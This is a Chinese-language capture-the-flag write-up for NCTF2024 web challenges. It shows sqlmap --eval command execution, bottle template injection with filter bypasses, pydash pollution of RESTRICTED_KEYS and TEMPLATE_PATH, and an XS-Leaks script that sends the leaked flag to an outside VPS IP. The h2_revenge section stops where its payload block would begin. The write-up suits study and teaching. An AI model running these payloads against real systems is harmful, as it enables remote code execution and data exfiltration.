NCTF2024 Web方向题解


在2025年的比赛为什么要叫2024呢(开玩笑)

被队友带飞了,caterpie得了mvp,Err0r是躺赢狗:

sqlmap-master

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess

app = FastAPI()

@app.get("/")
async def index():
return FileResponse("index.html")

@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")

if not url:
return {"error": "URL is required"}

command = f'sqlmap -u {url} --batch --flush-session'

def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)

while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output

return StreamingResponse(generate(), media_type="text/plain")

感觉像命令注入,在/run里能够通过执行sqlmap并返回执行结果

直接命令注入不太行:

因此只能够尝试sqlmap自己有没有命令执行的地方了,使用--help参数查询帮助:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
        ___
__H__
___ ___["]_____ ___ ___ {1.9.3#pip}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

Usage: python3.11 sqlmap [options]

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs

Request:
These options can be used to specify how to connect to the target URL

--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC

General:
These options can be used to set some general working parameters

--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target

Miscellaneous:
These options do not fit into any other category

--wizard Simple wizard interface for beginner users

好像还是没有,os-shell尝试了不行,由于是sqlmap,因此可以去github查看使用手册:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
Usage: python sqlmap.py [options]

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file

Request:
These options can be used to specify how to connect to the target URL

-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files

User-defined function injection:
These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library

File system access:
These options can be used to access the back-end database management
system underlying file system

--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:
These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of SQLi/XSS vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")

Miscellaneous:
These options do not fit into any other category

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when SQLi/XSS/FI is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users

可以找到有个参数:

1
2
--eval=EVALCODE     Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")

能够直接执行python命令,因此获得flag(根据dockerfile发现flag没有被写入到任意一个文件里,因此flag在环境变量):

1
127.0.0.1 --eval=print(__import__('os').popen('env').read())

ez_dash

给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

一个bottle的服务+pydash的原型链污染,然后可以通过render渲染模板,但是该题对/render的过滤设置得不严谨,bottle的模板渲染功能很强大,不仅能够接受{{}},还能够接受%引入一行python代码:

因此直接往render路由打即可,原型payload:

1
% eval("__import__('os').popen('id>1')")

(因为render能够渲染文件,因此将文件写入再用render渲染即可)

由于过滤了.,但是这里是用eval()函数,因此可以使用chr函数绕过:

1
?path=% eval("__import__('os')"+chr(46)+"popen('id>1')")

注意发送的时候+要进行url编码,不然会以为是空格然后报错

flag在环境变量里,因此直接使用env写入到2里再访问即可:

1
?path=% eval("__import__('os')"+chr(46)+"popen('id>2')")

发现居然渲染的时候写入同一个文件渲染的时候还是上次的结果,只能写进新文件了:

通过cat *能够读到requirements.txt:

1
2
bottle==0.13.2
pydash==8.0.5

注意pydash版本不是之前的漏洞版本,而是最新版,这就是下面的伏笔了)

ez_dash_revenge

修复了<%导致的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

因此要想获得flag,就只能往bottle.template下手了,跟进bottle.template函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) #去到TEMPLATE_PATH去寻找
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)

可以发现如果tpl如果含有\n、{、%、$的能够加入TEMPLATES[tplid],后续能够直接渲染它,否则会将其作为模板的名字,尝试寻找对应的模板文件渲染,而tpl是我们传入的第一个参数

它会根据TEMPLATE_PATH里去找到:

1
2
3
4
TEMPLATE_PATH = ['./', './views/']
TEMPLATES = {}
DEBUG = False
NORUN = False # If set, run() does nothing. Used by load_app()

接下来通过跟进lookup能够发现基类BaseTemplate中定义了搜索模板文件的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@classmethod
def search(cls, name, lookup=None):
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")

for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)

它会去搜索TEMPLATE_PATH下的文件(应该),理论上只需要污染TEMPLATE_PATH就能够做到任意文件读

但是上文说过pydash的版本是8.0.5,因此不能够直接通过__globals__去获得bottle,在pydash 5.1.2版本中能够使用__globals__,但是高版本下已经被修复了,现在会报access to restricted key __globals__

因此我们要想办法绕过restricted key

可以发现该异常只有输入在RESTRICTED_KEYS中的内容时才会触发:

1
2
3
4
#pydash.helpper
def _raise_if_restricted_key(key):
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")

RESTRICTED_KEYS如下:

1
RESTRICTED_KEYS = ("__globals__", "__builtins__")

理论上可以通过pydash自己污染掉RESTRICTED_KEYS从而使用globals:

1
2
3
4
{
"path":"helpers.RESTRICTED_KEYS",
"value":[]
}

污染成功后再污染TEMPLATE_PATH即可:

1
2
3
4
5
6
7
8
{
"path":"__globals__.bottle.TEMPLATE_PATH",
"value":[
"/",
"./",
"/proc/self"
]
}

最后再渲染envrion即可:

internal_api

题目给出hint:

1
2
3
1. 注意 search 路由查询成功和失败 (Ok 和 Err) 时返回的 HTTP 状态码
hint
2. XSLeaks

附件是一个rust写的search api,通过网页端测试的docker可以发现普通用户查询的时候数据库通过/search路由查询,而flag存在了数据库当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
use std::{fs, path::Path};

use r2d2::{Pool, PooledConnection};
use r2d2_sqlite::SqliteConnectionManager;
use rusqlite::params;

pub type DbPool = Pool<SqliteConnectionManager>;
pub type DbConn = PooledConnection<SqliteConnectionManager>;

pub fn init(db_name: String, json_name: String, flag: String) -> anyhow::Result<DbPool> {
if Path::new(&db_name).exists() {
fs::remove_file(&db_name)?;
}

let manager = SqliteConnectionManager::file(db_name);
let pool = Pool::new(manager)?;

let content = fs::read_to_string(json_name)?;
let comments: Vec<String> = serde_json::from_str(&content)?;

let conn = pool.get()?;
conn.execute(
"CREATE TABLE comments(content TEXT, hidden BOOLEAN)",
params![],
)?;

for comment in comments {
conn.execute(
"INSERT INTO comments(content, hidden) VALUES(?, ?)",
params![comment, false],
)?;
}

conn.execute(
"INSERT INTO comments(content, hidden) VALUES(?, ?)",
params![flag, true],
)?;

Ok(pool)
}

pub fn search(conn: DbConn, query: String, hidden: bool) -> anyhow::Result<Vec<String>> {
let mut stmt =
conn.prepare("SELECT content FROM comments WHERE content LIKE ? AND hidden = ?")?;
let comments = stmt
.query_map(params![format!("%{}%", query), hidden], |row| {
Ok(row.get(0)?)
})?
.collect::<rusqlite::Result<Vec<String>>>()?;

Ok(comments)
}

普通的评论的hidden是false,而flag是true,通过查询的/search路由查询的hidden硬编码为了false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
let app = Router::new()
.route("/", get(route::index))
.route("/report", post(route::report))
.route("/search", get(route::public_search))
.route("/internal/search", get(route::private_search))
.with_state(Arc::new(pool));

pub async fn public_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
) -> Result<Json<Vec<String>>, AppError> {
let pool = pool.clone();
let conn = pool.get()?;
let comments = db::search(conn, search.s, false)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}
}

pub async fn private_search(
Query(search): Query<Search>,
State(pool): State<Arc<DbPool>>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
) -> Result<Json<Vec<String>>, AppError> {
// 以下两个 if 与题目无关, 你只需要知道: private_search 路由仅有 bot 才能访问

// 本地环境 (docker compose)
let bot_ip = tokio::net::lookup_host("bot:4444").await?.next().unwrap();
if addr.ip() != bot_ip.ip() {
return Err(anyhow!("only bot can access").into());
}

// 远程环境 (k8s)
// if !addr.ip().is_loopback() {
// return Err(anyhow!("only bot can access").into());
// }

let conn = pool.get()?;
let comments = db::search(conn, search.s, true)?;

if comments.len() > 0 {
Ok(Json(comments))
} else {
Err(anyhow!("No comments found").into())
}

而bot能够访问的private_search为true,因此我们只能够让bot去查询flag并并尝试带出,因此另外一个路由/report派上了用场,/report能够让bot去访问你提供的一个链接,因此可以尝试通过report来访问private_search

此处并不能够直接通过xss来获取到管理员的cookie等有效信息,因此题目提示的xsleaks就排上了用场。

xsleaks可以用于探测用户敏感信息,可以使用的场景较少,需要满足:

  • 页面存在xss
  • 不同用户查询的结果集不同,并且有一个类似flag的字符串
  • 网站存在一个模糊查找功能
  • 构成二元结果并且能够成功探测到

这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。

利用条件:

具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。

可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。

xsleaks的更多了解可以阅读这篇文章

而题目中满足的条件有:

  • 环境出网,bot可以访问自己的vps链接,可以导致xss
  • admin可以查到flag,而我们只能够查到普通评论
  • 查询成功时状态码是200,不存在该结果时返回结果500(题目提示的注意http状态码,可以通过burp抓包查询简单看到)
  • 存在模糊查询(具体看SQL语句有LIKE进行模糊匹配)

可以通过令bot访问我们的页面,再通过bot去查询flag,再将正确的盲注结果带出访问我们的vps上,整体的流程如下:

1
查询成功200,查询失败500,可以通过onload,onerror事件区分,onload时能够fetch自己的vps发送请求带出flag(类似盲注的思路)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<script>
const VPS_IP = 'http://8.138.127.74:2333'
const chars = "0123456789abcdef-}";

const escape = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}

const oracle = async (url) => {
return new Promise((resolve, reject) => {
let script = document.createElement("script");
script.src = url;
script.onload = resolve;
script.onerror = reject;
document.head.appendChild(script);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}

(async () => {
let flag = 'nctf{';
let url = `http://127.0.0.1:8000/internal/search?s=${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + i)) ) {
url = url + i
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>

这个脚本是改文章中的脚本来使用的,但是注意不能够直接使用文章中的object标签,而是使用script标签,经过自己的测试好像object标签不行

然后起一个服务在vps,然后起另一个服务用于接收请求,/report发送该vps

h2_revenge

确实,原题是什么,然后怎么就revenge了()

jadx反编译发现路由是一个无任何waf的反序列化,当时就觉得不对劲,这不是随便乱杀?

然后发现给的环境是jre17

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM eclipse-temurin:17-jre

RUN groupadd -r ctf && \
useradd -m -r -g ctf ctf && \
mkdir /app/ && \
chown -R ctf:ctf /app/

COPY --chmod=755 ./files/docker-entrypoint.sh /
COPY ./files/H2Revenge.jar /app/

ENTRYPOINT [ "/docker-entrypoint.sh" ]


这里有两个坑点:

  • 首先是java17,高版本下的java反序列化
  • 然后是jre17,没有javac环境(又是一个小伏笔)

先说链子,很明显是除了h2database没有其他任何依赖引入的spring框架,很明显是通过jackson打h2(jdk17下没有templatesImpl,因此无法直接打jackson)

因此可以通过jackson去触发h2getConnection实现rce,题目也直接给出了一个可以反序列化的MyDataSource能够直接执行getConnection,因此可以利用题目的MyDataSouce.getConnection()进行触发,反序列化部分的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
